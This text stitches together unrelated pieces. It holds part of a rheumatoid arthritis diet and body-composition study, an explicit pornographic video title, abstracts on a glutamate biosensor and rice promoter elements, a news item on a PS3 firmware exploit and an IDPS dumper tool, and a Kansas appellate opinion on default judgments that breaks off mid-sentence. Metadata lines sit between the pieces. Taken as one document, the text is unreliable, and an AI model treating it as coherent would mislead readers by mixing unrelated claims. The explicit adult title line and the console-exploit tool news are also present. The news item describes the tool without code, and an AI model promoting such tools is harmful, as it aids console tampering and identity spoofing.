\>50th percentile had higher LDL, cholesterol and trendwise oxLDL, as well as significantly lower values of anti-PC IgM (p = 0.040), than those without this derangement in their body composition. With regard to DAS28 and CRP, there were no significant differences between any of the body composition groups (as defined in \[Additional data file [1](#S1){ref-type="supplementary-material"}\]) and those not belonging to the respective group. However, when separating the patients according to the DAS28 level it was found that patients with DAS28 ≥ 3.2 had significantly higher FM% (38.0 vs. 35.3, p = 0.032), lower FFM (43.5 vs. 48.5 kg, p = 0.018) and lower FFM/FM ratio (1.6 vs. 2.1, p = 0.031) than those with DAS28 ≤ 3.2. Relationship between body composition and diet groups as well as presence of hypertension and MetS -------------------------------------------------------------------------------------------------- There were no significant differences in intake of energy or fat (total SFA or total PUFA, also separated by total omega 3 and omega 6) between those who were considered to have rheumatoid cachexia or not, irrespective of definition. Neither did the frequency of patients with the self-reported Mediterranean and vegetarian diets differ between these groups (data not shown). Patients with FMI above the 50th percentile and patients with rheumatoid cachexia, defined as FFMI \<25th percentile in combination with FMI \>50th percentile, had the highest frequencies of hypertension and MetS \[Additional data file [1](#S1){ref-type="supplementary-material"}\]. Furthermore, we found that patients with hypertension had significantly lower values of anti-PC IgM, median (interquartile range (IQR)) of 39.9 (30.1 to 73.8), than those with normal blood pressure, median (IQR) of 54.5 (41.6 to 160.7) (p = 0.046). Treatment with glucocorticoids and mean dose given did not differ between those who were cachectic and those not (data not shown). Discussion ========== This study shows that ambulatory patients with RA of low disease activity were reported to have a diet intake high in saturated fat. They were in general centrally obese and a fifth had rheumatoid cachexia. A large proportion of the patients had hypertension and MetS, especially those with high FM and rheumatoid cachexia, conditions associated with high levels of oxLDL and low levels of anti-PC. Patients compliant with Mediterranean and vegetarian diets did not differ in body composition from the rest of the patients, but had a higher content of PUFA in adipose tissue and significantly higher serum levels of the atheroprotective anti-PC. The patients had, according to the FFQ, a lower than recommended caloric intake. It is unclear if this was a real difference or a consequence of underreporting. However, underreporting seems most probable as earlier comparisons between FFQ and weighed diet records concerning fat intake showed lower total intake registered by FFQ than the weighed diet, whereas the proportions of fat components were similar \[[@B27]\]. With regard to the caloric proportions of the diet, our patients had a higher intake of saturated fat and lower intake of unsaturated fat compared to the Food Recommendations in Sweden \[[@B35]\]. A high fat intake has also been noted in RA patients in the USA, of which 40% were obese \[[@B21]\]. The reliability of the long-term fatty acid intake according to the FFQ was verified by the significant correlations found between the PUFAs ingested and those in adipose tissue. PUFAs in adipose tissue are largely exogenous and hence valid markers to assess dietary intake \[[@B42],[@B43]\]. By contrast, SFAs and monounsaturated fatty acids (MUFAs) are not considered to be good biomarkers of intake because they are also endogenously synthesized \[[@B42],[@B44]\], which was evident in the RA patients with no significant correlations concerning 16:0 and 18:1 n-9. Furthermore, the noted significant correlation between 14:0 FA in diet and adipose tissue verifies a report by Wolk *et al.*that this FA is also a valid biomarker for FA intake \[[@B45]\]. When comparing the proportions of FAs in the adipose tissue in our RA patients with healthy subjects from different countries (Sweden, Denmark, USA, Spain and Costa Rica), our RA patients had higher proportions of SFA and lower proportions of PUFA than healthy subjects from the above-mentioned countries \[[@B25],[@B42],[@B43],[@B46],[@B47]\]. However, the SFA and PUFA content of adipose tissue was similar to that described in RA patients from the south of Sweden \[[@B48]\]. The patients reported in general a high intake of saturated fat. This high intake was also reflected in the FA composition of the adipose tissue. However, we did not find that the FA intake differed between cachectic and non-cachectic patients. Adherence to a Mediterranean diet did not differ either between cachectic and non-cachectic patients. Thus, diet as analyzed here does not seem to cause the derangement of body composition leading to cachexia. This finding is in accordance with the known difficulties of treating cachexia with diet. However, recently supplements with amino acids have been shown to increase muscle mass \[[@B23]\]. By contrast, the high intake of dietary fat may have contributed to the dyslipidemia displayed by the patients. With regard to dietary therapies, 33% to 75% of RA patients believe that food plays an important role in their disease, and 20% to 50% have tried dietary manipulation in an attempt to relieve symptoms \[[@B49],[@B50]\]. The present finding that dietary intake of SFAs was significantly associated with disease activity focuses on the immunosuppressive effect of unsaturated FAs. In the scientific community there is, however, no consensus on dietary recommendations to patients with RA. Evidence may emerge that, for patients at an advanced disease stage, a high-protein diet may be recommended and, for patients with early RA, restriction of excessive energy intake may be beneficial to prevent obesity \[[@B51]\]. A scientific basis for a role of dietary therapy in RA has grown in the last few years, although there is still no agreement on the nature of the optimum diet \[[@B52]\]. Several of the RA patients had dyslipidemia, hypertension and MetS, most frequently patients with high FM and rheumatoid cachexia. Of the lipids, oxLDL might be especially important as it has proinflammatory and immune stimulatory properties \[[@B53],[@B54]\]. It has previously been detected in synovia from RA patients \[[@B55]\], and is suggested to be of importance in the pathogenesis of CVD \[[@B8]\]. Even though there are no existing reference values for oxLDL, the present patients had higher levels than earlier reported for healthy people, with mean (SD) values of 42.2 U/l (± 14.7) and mean (95% confidence interval (CI)) 48 U/l (35 to 68) \[[@B7],[@B56]\]. Additionally, when compared with RA patients from Korea who had a mean (SD) value of 53.0 U/l (± 20.9) \[[@B7]\], our patients had higher levels, a difference that might be secondary to different diet habits. One novel finding herein is that anti-PC levels decreased in patients with rheumatoid cachexia. Low anti-PC levels could predispose patients to cardiovascular disease \[[@B10],[@B11]\] and might thus be one explanation for the increased morbidity in rheumatoid cachexia. The cause of this association is not known. Also, the very high levels of anti-PC in patients on a Mediterranean diet is of great interest, as patients on this diet are reported to have a lower frequency of CVD \[[@B57],[@B58]\]. In RA anti-PC have not been studied in relation to CVD, but we have recently shown that the levels of anti-PC in serum increased in RA patients when changing from a normal Western diet to a gluten-free vegan diet \[[@B12]\]. The present finding adds strength to our previous report, indicating that diet may influence atheroprotective anti-PC in RA. A high frequency of MetS has previously been reported in RA patients \[[@B59]-[@B61]\]. In these patients an association between MetS and disease activity, as well as coronary calcification, has been shown \[[@B60],[@B61]\], suggesting that the increased prevalence of coronary heart disease in RA patients may, at least in part, be attributed to inflammation and change of fat metabolism. In the present RA population every fourth to fifth patient had rheumatoid cachexia, irrespectively of which of the two definitions for cachexia were used. There is no standard definition of this condition as reviewed by Summers *et al*. \[[@B62]\], which is why the frequency of rheumatoid cachexia varies. The cachexia and muscle wasting found here could not reflect the changes in body composition that occur with age \[[@B63]\], as the reference population was matched for age and sex \[[@B40]\]. Age-related muscle wasting is a separate condition named sarcopenia. Cachexia in chronic inflammatory diseases is suggested to be associated with increased morbidity \[[@B19]\]. Mostly, the morbidity has been attributing the loss of body lean mass \[[@B13]\], whereas the coincidental increase of fat mass has not been considered in this context. In the present study it was obvious that FM above the 50th percentile was, together with FFM below the 25th percentile, associated with dyslipidemia as were increased levels of total cholesterol, LDL and oxLDL and also low levels of anti-PC. These patients are therefore suggested to have an increased risk of CVD and premature mortality \[[@B10],[@B11],[@B64]\]. In fact, they also had high frequencies of hypertension and MetS. Low FFM alone, irrespective of FM, was not associated with these risk factors for CVD. By contrast, only one of the patients was severely emaciated with extremely low BMI known to be associated with cardiovascular mortality in RA \[[@B65]\]. A large proportion of the patients were centrally obese, which is in line with earlier reports \[[@B16]\]. This fact might contribute to the increased presence of risk factors for CVD in the patients with rheumatoid cachexia. In the present cohort of patients we did not find that DAS28 or CRP differed between those with cachexia and the rest of the patients, probably related to the fact that most patients had low inflammatory activity. However, when separating the patients into those with low DAS28 and those with DAS28 corresponding to moderate activity it was found that the latter had lower FFM and higher FM than the former. Thus, the inflammation *per se*might have contributed to the derangement in body composition found here and also described previously \[[@B18],[@B41],[@B66]\]. A further explanation could be that patients with DAS28 of moderate activity reported lower energy intake than those with low activity. Conclusion ========== In our cohort of RA patients with low disease activity and BMI in the upper reference range every fourth to fifth patient had rheumatoid cachexia, a condition that was not associated with the observed increased intake of fatty acids. Rheumatoid cachexia defined as FFMI below the 25th percentile and FMI above the 50th percentile was associated with risk factors for CVD, including raised cholesterol and LDL and also decreased levels of the atheroprotective marker anti-PC as well as a high frequency of hypertension. We thus propose this definition of rheumatoid cachexia to be used, as it verifies that it is associated with increased morbidity. However, patients on a Mediterranean-like diet had high anti-PC levels in spite of a similar frequency of cachexia, which may provide some protection against CVD events. Abbreviations ============= Anti-PC: antibodies against phosphorylcholine; AT: adipose tissue; BMI: body mass index; BP: blood pressure; CRP: C-reactive protein; CVD: cardiovascular disease; DAS28: 28-joint Disease Activity Score; DXA: dual energy x ray absorptiometry; ESR: erythrocyte sedimentation rate; FA: fatty acid; FFM: fat free mass; FFMI: fat free mass index; FFQ: food frequency questionnaire; FM: fat mass; FMI: fat mass index; HAQ: Health Assessment Questionnaire; HDL: high-density lipoprotein; IDF: International Diabetes Federation; LDL: low-density lipoprotein; MetS: metabolic syndrome; MUFA: monounsaturated fatty acids; oxLDL: oxidized low-density lipoprotein; PC: phosphorylcholine; PUFA: polyunsaturated fatty acid; RA: rheumatoid arthritis; SFA: saturated fatty acids; WC: waist circumference. Competing interests =================== The authors declare that they have no competing interests. Authors\' contributions ======================= ACE was responsible for the design of the study, for all measurements, for analyzing the data and was responsible for writing the manuscript. NH had responsibility for analyzing the FFQ. JF was responsible for assays of lipids and anti-PC antibodies. TC had an active role in the design of the study, in analyzing adipose tissue and an advisory role. IH took part in the design of the study and has been senior advisor in all parts of the research and manuscript preparation. All authors read and approved the final manuscript. Supplementary Material ====================== ###### Additional file 1 A table in Word format listing blood lipids, inflammatory marker, hypertension and metabolic syndrome in relation to different categories of body composition. ###### Click here for file Acknowledgements ================ We are grateful to Inger Vedin for analyzing oxLDL and anti-PC antibodies, and to Siv Tengblad for analyzing fatty acids in adipose tissue. This work was supported by grants from The Swedish Rheumatism Association, King Gustav V 80 years foundation, Capio, The Stig Thunes foundation, the Swedish Research Council and the regional agreement on medical training and clinical research (ALF) between Stockholm county council and the Karolinska Institute.
{ "pile_set_name": "PubMed Central" }
0.000023
Ava Addams Rides Dick And And Bounces Her Huge Titties – Ava Addams
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0.029851
[C3(OH)2mim][BF4]-Au/Pt biosensor for glutamate sensing in vivo integrated with on-line microdialysis system. A new type of hydroxyl functionalized room temperature ionic liquid (RTIL), [C(3)(OH)(2)mim][BF(4)], was synthesized herein and a novel H(2)O(2) biosensor is fabricated with [C(3)(OH)(2)mim][BF(4)] as the substrate and electrodepositing bimetallic Au/Pt nanoparticles (NPs) onto the [C(3)(OH)(2)mim][BF(4)] film. The functionalization of RTIL with hydroxyl groups provided an appropriate environment for the preparation of more uniform and smaller Au/Pt NPs with the diameter of 2.5 nm±0.2 nm. Immobilized with glutamate oxidase (GlutaOx), the resulting GlutaOx-[C(3)(OH)(2)mim][BF(4)]-Au/Pt-Nafion biosensor displayed excellent electrocatalytic response to glutamate at a potential of -200 mV. An effective on-line microdialysis system, which was powered by a microdialysis pump, was set up and used for the detection of glutamate successively in the striatum of rats. The glutamate biosensor in on-line microdialysis system showed good linear range from 0.5 μM to 20.0 μM with the detection limit of 0.17 μM (S/N=3). The basal level of glutamate in the striatum of anaesthetic rats was calculated to be 3.01±0.67 μM (n=3). The application of the GlutaOx-[C(3)(OH)(2)mim][BF(4)]-Au/Pt-Nafion electrode is further demonstrated for in vivo sensing of the variation of glutamate level in the striatum when rats received intraperitoneal (i.p.) injection of 100 mM KCl and brain electrical stimulation of the subthalamic nucleus area (STN). Both of the two kinds of stimulation resulted in an increase in the extracellular concentration of glutamate. This method has proved to be sensitive and reproducible, which enables its promising application in physiology and pathology.
{ "pile_set_name": "PubMed Abstracts" }
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Additionally, and maybe more importantly, hacker bguerville has stated on psx-place that firmware 4.82 does not seem to have touched critical pieces of the PS3 firmware for the exploit, namely the kernel and webkit. He also states the exploit appears to work fine on firmware 4.82, so it might be fine to update. The team however recommends to wait for more details. As always, stay on as low a firmware as you possibly can, and don’t update to 4.82 if you don’t have to. Bguerville stated: Kernel has not been changed & webkit hasn’t been changed either. Exploit works fine so my guess is that it is probably safe to update however I would still wait until we know more… With that being said, if you already updated to 4.82 for some reason, you should now be able to give a try to the IDPS dumper. With a reminder that you should not share your IDPS with anybody, as this information could be used by unscrupulous people to impersonate your PS3 on Sony’s network (and potentially get you in trouble). As part of this update, the new version of the IDPS dumper also seems to improve speed/stability of the code, which means 4.81 owners who’ve had issues with thee tool can also try this new version. Download PS3 IDPS Dumper 0.2.3 for 4.81/4.82 IDPS Dumper 0.2.3 for PS3 4.81/4.82 can be downloaded on the announcement page, where you’ll also find instructions on how to run the tool.
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Genome-wide analysis of rice (Oryza sativa L. subsp. japonica) TATA box and Y Patch promoter elements. The TATA box is one of the best characterized transcription factor binding sites. However, it is not a ubiquitous element of core promoters, and other sequence motifs such as Y Patches seem to play a major role in plants. Here, we present a first genome-wide computational analysis of the TATA box and Y Patch distribution in rice (Oryza sativa L. subsp. japonica) promoter sequences. Utilizing a probabilistic sequence model, we ascertain that only approximately 19% of rice genes possess the TATA box, but approximately 50% contain one or more Y Patches in their core promoters. By computational processing of identified elements, we generated extended TATA box and Y Patch nucleotide frequency matrices capable of predicting these motifs in plants with a high degree of confidence.
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NOT DESIGNATED FOR PUBLICATION No. 119,624 IN THE COURT OF APPEALS OF THE STATE OF KANSAS FSST FINANCIAL SERVICES, LLC, Appellee, v. NATIVE PAYMENT SERVICES, LLC, FOXBARRY FINANCIAL SERVICES, LLC, and BARRY J. BRAUTMAN, Appellants. MEMORANDUM OPINION Appeal from Johnson District Court; DAVID W. HAUBER, judge. Opinion filed March 20, 2020. Affirmed. Donald M. McLean, of Kansas City, for appellants. Brian Nye and Paul Croker, of Armstrong Teasdale LLP, of Kansas City, Missouri, for appellee. Before BUSER, P.J., PIERRON and BRUNS, JJ. BUSER, J.: FSST Financial Services, LLC (FSST) filed a lawsuit against Native Payment Services, LLC (Native), Foxbarry Financial Services, LLC (Foxbarry), and Barry J. Brautman (collectively Defendants). In its petition, FSST brought several claims against Defendants and argued they improperly withheld $404,462.11 that belonged to FSST. After Defendants failed to respond to the petition, the district court granted default judgments against them. More than eight months after the district court granted default judgment against the last defendant, Defendants moved to set aside the judgments. The district court denied the motion. 1 Defendants appeal the district court's order denying their motion to set aside the default judgments. On appeal, Brautman argues the court abused its discretion by denying his request to set aside the default judgment under K.S.A. 2018 Supp. 60-260(b)(1) because he proved excusable neglect. Next, Defendants collectively contend the district court abused its discretion when it refused to set aside the judgments under K.S.A. 2018 Supp. 60-260(b)(6) because the court relied on incorrect legal standards. Upon our review, we find no reversible error and affirm the district court's denial of Defendants' motion to set aside the default judgments. FACTUAL AND PROCEDURAL BACKGROUND On August 15, 2016, FSST filed an eight-count petition against Defendants. The petition alleged breach of contract, negligent/fraudulent misrepresentation, breach of fiduciary duty, unjust enrichment, civil theft/fraudulent conversion/conversion, conspiracy, and a request for an accounting. The petition named Native, Foxbarry, and Brautman individually as defendants in the action. In its petition, FSST alleged that it entered into a consulting agreement with Foxbarry—a company directed and controlled by Brautman. Through this consulting agreement, Brautman and Foxbarry brokered a deal between FSST and Native for Native to process FSST's electronic financial transactions. Brautman is named as the president and managing member of Native. FSST and Native entered into a contract requiring Native to provide FSST with payment services to process the electronic credits and debits of FSST's customers. The petition asserted that Native processed credit transactions and held funds on behalf of FSST, but failed to pay FSST. As a result, Native breached its contract and improperly withheld $404,462.11 from FSST. FSST terminated the financial processing 2 contract with Native and demanded immediate return of the withheld funds. Native, however, refused to pay FSST the $404,462.11. In its petition, FSST pled that Brautman was the alter ego of Native. In addition to Native's wrongdoings, FSST asserted that Brautman and Foxbarry breached the consulting agreement. According to FSST, Brautman and Foxbarry knew or should have known that Native should not be trusted with providing financial processing services, but failed to inform FSST of that fact. FSST informed Brautman and Foxbarry of their collective breach of the consulting agreement and demanded payment of the $404,462.11 withheld by Native. Like Native, Brautman and Foxbarry failed to pay the $404,462.11 owed to FSST. FSST served all three defendants. Brautman was served in October 2016. Native and Foxbarry were served in January 2017. On October 31, 2016, Brautman filed pro se a clerk's order for additional time to plead to the petition. This order provided: "Now, on this 31st day of October, 2016 defendant(s) Barry Brautman (write in name) is/are hereby granted (14) additional days within which to answer or file other pleading to the plaintiff's petition." However, Brautman failed to answer or file any responsive pleading by the extended deadline of November 14, 2016. On December 6, 2016, FSST moved for default judgment against Brautman. In this motion, FSST requested a damages award of $404,462.11 plus interest, costs, and attorney fees. FSST served a copy of this motion and a notice of a hearing on Brautman. But Brautman failed to respond to FSST's motion for default judgment or appear at the 3 hearing. At the conclusion of the hearing, the district court granted FSST's motion for default judgment against Brautman. On January 10, 2017, the district court filed a journal entry of default judgment awarding FSST damages of $404,462.11 plus interest, costs, and $5,000 in attorney fees. About two months after the district court entered default judgment against Brautman, he filed for bankruptcy. However, Brautman's bankruptcy action was later dismissed. Like Brautman, both Native and Foxbarry failed to file responsive pleadings after they were served with FSST's petition. FSST moved for default judgment against Native on February 21, 2017, and against Foxbarry on March 15, 2017. A hearing on the two motions was held on April 18, 2017. Although FSST's attorney attended, Defendants failed to appear. After the hearing, the district court granted FSST's motions and entered default judgments against both Native and Foxbarry. On January 5, 2018, Defendants moved to set aside the default judgments. In this motion, Brautman argued the default judgment against him should be set aside under K.S.A. 60-260(b)(1) because he had multiple pending legal matters and had no financial means to defend the current lawsuit. The motion continued: "Defendant Brautman believed (and still believes) he had a meritorious defense to the claims made against him in the petition and so he obtained information from the clerk of the court seeking additional time to respond to Plaintiff's Petition. . . . Further, Defendant Brautman mistakenly believed that this would not affect his ability to file for a bankruptcy potentially resolving this issue in the [least] expensive means possible at the time." Defendants' motion also alleged the district court should set aside the default judgments on all three defendants under K.S.A. 60-260(b)(6) for several reasons which will be addressed later in this opinion. 4 FSST responded to Defendants' motion, arguing that Brautman consciously ignored the lawsuit and failed to describe any meritorious defense. FSST suggested that Brautman's failure to include FSST in his bankruptcy petition's list of creditors undercut the credibility of Brautman's claim that his bankruptcy action would resolve his problems in this litigation. FSST also claimed this admission by Brautman showed: "1) a recognition of the proceedings against him in this matter and 2) a conscious decision on his part to disregard this lawsuit because he believed it would be discharged in bankruptcy." A hearing was held on Defendants' motion to set aside judgment. Despite his attorney's request that he personally appear, Brautman failed to attend the hearing. In discussing Brautman's failure to appear, the district court stated "[Brautman] knew about it, [he] didn't show up, which is real similar to the default hearing." Brautman's attorney argued the motion. At the hearing, Brautman's attorney contended that the default judgment should be set aside under K.S.A. 60-260(b)(1) because Brautman mistakenly believed the lawsuit was only against Native and Foxbarry and not necessarily against him individually. Brautman's attorney claimed his failure to include FSST in his bankruptcy petition's list of creditors demonstrated his belief that he was not an individual defendant in the lawsuit. All three defendants at the hearing asserted that the default judgments should be set aside under K.S.A. 60-260(b)(6). Brautman's attorney claimed he had a meritorious defense because he was not a party to the contracts signed between FSST and Native or FSST and Foxbarry. Native and Foxbarry alleged they had meritorious counterclaims against FSST that would be included in a responsive pleading. At the conclusion of the hearing, the district court took the matter under advisement but ordered Brautman to file an affidavit explaining his actions and inactions in the case. 5 After Brautman filed an affidavit, the district court denied Defendants' motion to set aside the default judgments. The district court found that Defendants failed to show excusable neglect or present a meritorious defense. The district court ruled that Brautman's claim of excusable neglect failed, in part, because personal service and his requested extension to answer made it "highly unlikely" that Brautman was unaware he was a defendant in the lawsuit. Instead, the district court noted that "it seems that Brautman either thought that if he ignored the lawsuit, it would go away, or that he could discharge any judgment in bankruptcy." Turning to Defendants' claimed defenses, the district court ruled that Defendants' "'meritorious defenses' are general denials of the claims against [them], without any corresponding evidence to lend force to those denials." Defendants appeal. ANALYSIS On appeal, Defendants contend the district court erred by denying their motion to set aside the default judgments. Brautman argues that the default judgment should be set aside under K.S.A. 2018 Supp. 60-260(b)(1) because he established excusable neglect. For their part, Defendants collectively argue that the district court abused its discretion by failing to set aside the default judgments under K.S.A. 2018 Supp. 60-260(b)(6). Standards of Review The decision to set aside a default judgment rests in the discretion of the district court and will not be disturbed on appeal without a showing of abuse of discretion. Garcia v. Ball, 303 Kan. 560, 565-66, 363 P.3d 399 (2015). Judicial action constitutes an abuse of discretion if (1) no reasonable person would take the view adopted by the trial court; (2) it is based on an error of law; or (3) it is based on an error of fact. 303 Kan. at 6 566. An abuse of discretion occurs if discretion is guided by an erroneous legal conclusion or goes outside the framework of or fails to consider proper statutory limitations or legal standards. See Matson v. Kansas Dept. of Corrections, 301 Kan. 654, 656, 346 P.3d 327 (2015). Standards for Setting Aside Default Judgments Under K.S.A. 2018 Supp. 60-255(b), a district court may set aside a default judgment for any of the grounds listed in K.S.A. 2018 Supp. 60-260(b). A district court may relieve a party from a final judgment under K.S.A. 2018 Supp. 60-260(b)(1) upon a showing of "[m]istake, inadvertence, surprise or excusable neglect." K.S.A. 2018 Supp. 60-260(b)(6) is also a catch-all provision, permitting a district court to set aside a judgment for "any other reason that justifies relief." "Default judgments are not favored by the law but are necessary when the inaction of one party frustrates the administration of justice." First Management v. Topeka Investment Group, 47 Kan. App. 2d 233, 239, 277 P.3d 1150 (2012). When determining whether to set aside a default judgment, courts should resolve any doubt in favor of setting the judgment aside so cases may be decided on their merits. Of note, Kansas law disfavors default judgments in matters that involve large sums of money. Garcia, 303 Kan. at 568. Brautman's Argument to Set Aside the Default Judgment Under K.S.A. 2018 Supp. 60- 260(b)(1) Brautman contends the district court erred when it denied his motion to set aside the default judgment based on excusable neglect under subsection (b)(1) of K.S.A. 2018 Supp. 60-260. According to Brautman, he established excusable neglect by his affidavit which alleged: (1) He did not believe the lawsuit was against him individually; (2) he 7 was in financial distress and unable to pay an attorney; and (3) he did not understand how to defend the action given the complexity of the issues and his unfamiliarity with the law. The district court ruled that Brautman failed to prove excusable neglect. The district court explained: "His claim for excusable neglect fails because Brautman admitted service and even filed for an extension to answer. Brautman clearly knew enough about the litigation process to file the extension without the help of an attorney. Thus, it is unlikely that Brautman was unaware of the consequences of failing to respond. Brautman also alleges that he was unaware that he was a defendant and that he thought the lawsuit was only against the corporate defendants. Once again, service and his requested extension make this highly unlikely. Brautman claims financial distress, but never informed the court of that distress prior to the default judgment. Rather, it seems that Brautman either thought that if he ignored the lawsuit, it would go away, or that he could discharge any judgment in bankruptcy. Brautman cannot demonstrate mistake or excusable neglect, and this is fatal to his motion to set aside a default judgment." The phrase "excusable neglect" in K.S.A. 2018 Supp. 60-260(b)(1) is not clearly defined. But inexcusable neglect is similar to reckless indifference and implies "something more than the unintentional inadvertence or neglect common to all who share the ordinary frailties of mankind." Jenkins v. Arnold, 223 Kan. 298, 299, 573 P.2d 1013 (1978). What constitutes excusable neglect under subsection (b)(1) should be determined on a case-by-case basis given the particular facts presented. 223 Kan. at 299. The district court did not abuse its discretion in finding that Brautman failed to show excusable neglect. Brautman concedes he was served with FSST's petition and failed to file any responsive pleading. He was aware of the claims against him because he filed an extension to respond without the assistance of an attorney. Although he knew of the claims, Brautman presented no evidence of any actions he took to respond to the 8 petition, the motion for default judgment, or the entry of the default judgment for almost a year after the judgment was entered against him. While Brautman claims he did not understand how to proceed with defending the lawsuit, "confusion related to proceedings does not qualify as excusable neglect." Morton County Hospital v. Howell, 51 Kan. App. 2d 1103, 1113, 361 P.3d 515 (2015). Brautman's assertions that he was unable to pay an attorney and was unfamiliar with the law also fail to establish excusable neglect. Even a pro se litigant has a legal duty to act to protect his or her interests. 51 Kan. App. 2d at 1113. Moreover, ignorance of the rules does not constitute excusable neglect under subsection (b)(1). State v. Davisson, 303 Kan. 1062, 1069, 370 P.3d 423 (2016). Given Brautman's inaction and initial arguments for setting aside the judgment, the district court appropriately found that Brautman ignored the lawsuit in hopes it would disappear or that any judgment could be discharged in bankruptcy. The district court also rejected Brautman's allegation that he was unaware the lawsuit was filed against him individually. Generally, our court does not weigh conflicting evidence, pass on the credibility of witnesses, or redetermine questions of fact. Geer v. Eby, 309 Kan. 182, 191, 432 P.3d 1001 (2019). That said, when the controlling facts are based on written or documentary evidence through pleadings, admissions, depositions, and stipulations, our court may determine de novo what the facts establish. O'Neill v. Herrington, 49 Kan. App. 2d 896, 902, 317 P.3d 139 (2014). Like the district court, we discount Brautman's assertion that he was unaware the lawsuit was against him individually. The procedural history of this case demonstrates that Brautman knew the lawsuit was filed against him as an individual. He was served in October 2016. More than two months before the other defendants were served, Brautman appeared individually to request a clerk's extension of time. He wrote his name on the submission, made no 9 reference to any other defendant, provided his personal address, and signed the document. Additionally, before the other defendants were served, FSST moved for default judgment against Brautman individually and the district court entered the default judgment against him. Another reason bolsters the district court's ruling. When the Defendants moved to set aside the default judgments, Brautman argued that excusable neglect existed because he believed his personal bankruptcy would resolve the matter. But FSST pointed out that Brautman could not reasonably have believed that his bankruptcy would resolve the litigation because he failed to include FSST as a creditor. In response, Brautman inconsistently asserted that he did not disclose the default judgment in his bankruptcy proceeding because he did not believe this litigation was against him individually. Brautman's actions associated with his obtaining a clerk's extension to respond to the lawsuit, coupled with his inconsistent arguments, support the district court's conclusion that he did, in fact, know that FSST's lawsuit was filed against him as an individual. Lastly, assuming Brautman, in fact, failed to recognize the significance of being named individually in the lawsuit, the district court did not err by ruling that this reason did not constitute excusable neglect. See First Nat'l Bank in Belleville v. Sankey Motors, Inc., 41 Kan. App. 2d 629, 635, 204 P.3d 1167 (2009) (affirming finding of no excusable neglect when petition requested money judgment but debtor mistakenly identified the claim as a foreclosure action and chose not to file a responsive pleading). In summary, the district court did not abuse its discretion in finding that Brautman failed to establish excusable neglect and in denying his request to set aside the default judgment under K.S.A. 60-260(b)(1). 10 Defendants' Argument to Set Aside the Default Judgments Under K.S.A. 2018 Supp. 60- 260(b)(6) Defendants collectively contend the district court abused its discretion by failing to apply the proper legal standards to evaluate their motion to set aside judgment under subsection (b)(6) of K.S.A. 2018 Supp. 60-260. According to the Defendants, when evaluated under the correct legal standards, they established reasons justifying relief under the catch-all provision of subsection (b)(6). When outlining the legal standards that apply to motions to set aside a default judgment, the district judge stated: "A motion to set aside default judgment may be granted whenever the court finds: (a) that the non-defaulting party will not be prejudiced by the reopening; (b) that the defaulting party has a meritorious defense; and (c) that the default was not the result of inexcusable neglect or a willful act. This must be done by clear and convincing evidence. Failure to demonstrate even one of these factors is fatal to a motion to set aside. [Citations omitted.]" In applying these legal standards, the district court did not specifically separate Defendants' subsection (b)(1) and subsection (b)(6) claims. Instead, the district court combined the analysis and denied the motion to set aside the default judgments for the reasons that the Defendants failed to show excusable neglect or meritorious defenses. Defendants assert the district court erred as a matter of law by applying these legal standards when denying their motion to set aside judgment under subsection (b)(6). Specifically, Defendants claim these legal standards were improper because they (1) required a finding of no inexcusable neglect and (2) imposed a clear and convincing evidence standard of proof. FSST responds that the district court applied these standards only on Defendants' subsection (b)(1) claims and not the subsection (b)(6) claims. 11 Upon our review, the district court appears to have applied the complained-of legal standards to all Defendants' grounds to set aside the default judgments, including the Defendants' arguments under subsection (b)(6). After finding that Defendants failed to show excusable neglect, the district court explained this finding "is fatal to [their] motion to set aside judgment." This suggests the district court required a finding of no inexcusable neglect as to all Defendants' grounds to set aside the default judgments, not only Defendants' subsection (b)(1) claims. Moreover, the district court did not distinguish between the different standards applicable to Defendants' various grounds to set aside the judgments. As a result, we are persuaded that the district court applied the complained-of legal standards to Defendants' arguments under subsection (b)(6). As Defendants complain, subsection (b)(6) does not require a party to show no inexcusable neglect. Initially, in Montez v. Tonkawa Village Apartments, 215 Kan. 59, Syl. ¶ 4, 523 P.2d 351 (1974), our Supreme Court held: "A motion to set aside a default may be granted whenever the court finds (1) that the nondefaulting party will not be prejudiced by the reopening, (2) that the defaulting party has a meritorious defense, and (3) that the default was not the result of inexcusable neglect or a willful act." (Emphasis added.) These three considerations listed in Montez for setting aside default judgments are called the Montez factors. More recently, however, our Supreme Court in Garcia addressed how the Montez factors affect a motion made under the catch-all provision of subsection (b)(6). Before Garcia, Kansas courts often treated the Montez factors as elements a movant needed to prove in any action to set aside a default judgment. See, e.g., Sankey Motors, Inc., 41 Kan. App. 2d at 634. But the Garcia court clarified that proving no inexcusable neglect 12 was not a requirement to obtain relief under subsection (b)(6). Garcia, 303 Kan. at 569- 70. Like Defendants here, the defendant in Garcia sought to set aside a default judgment under subsections (b)(1) and (b)(6). The Garcia court held that, since relief under subsection (b)(1) is based on excusable neglect, a party need not establish excusable neglect to obtain relief under subsection (b)(6) because that requirement would always render subsection (b)(6) superfluous. 303 Kan. at 569. The court distinguished Montez, finding Montez involved only excusable neglect and inadvertence. Garcia, 303 Kan. at 569. The court then emphasized: "In that vein, the Montez factors should be considered viable benchmarks for judicial discretion in determining whether relief from a default judgment is warranted under K.S.A. 60-260(b) but should not be rigidly adhered to when determining the existence of 'any other reason justifying relief' pursuant to K.S.A. 60-260(b)(6)." 303 Kan. at 570. In the present case, while the district court discussed the Montez factors in its evaluation of the Defendants' (b)(6) claim, as discussed later, we do not consider that the district court "rigidly adhered" to the third Montez factor in making its ruling. Next, we consider the Defendants' objection to the district court's mention that clear and convincing proof was necessary to set aside a default judgment. Whether a clear and convincing evidence standard is the appropriate burden of proof presents a murkier question in Kansas law. Our court has previously noted the tension in Kansas law regarding the movant's burden of proof to set aside a default judgment. In re Marriage of Mullokandova & Kikirov, No. 108,601, 2013 WL 5422358, at *3 (Kan. App. 2013) (unpublished opinion). Both our court and the Kansas Supreme Court have stated that the grounds for a motion under K.S.A. 60-260(b) must be proven by clear and convincing evidence. State ex rel. Stovall v. Alivio, 275 Kan. 169, 173, 61 P.3d 687 (2003); First 13 Management, 47 Kan. App. 2d at 239. In particular, our Supreme Court has found that a movant must prove by clear and convincing evidence that judgment should be set aside under subsection (b)(6). In re Marriage of Zodrow, 240 Kan. 65, 68, 727 P.2d 435 (1986). Although Kansas courts previously have required clear and convincing evidence to set aside default judgments, our court in In re Marriage of Mullokandova questioned the basis for imposing a clear and convincing evidence standard. The In re Marriage of Mullokandova court traced the requirement of clear and convincing evidence standard to Lee v. Brown, 210 Kan. 168, 170, 499 P.2d 1076 (1972), and explained: "In [Lee], the Kansas Supreme Court stated that the grounds for a motion under K.S.A. 60-260(b) must be proven by clear and convincing evidence and cited generally Cool v. Cool, 203 Kan. 749, 457 P.2d 60 (1969). But Cool dealt with relief under K.S.A. 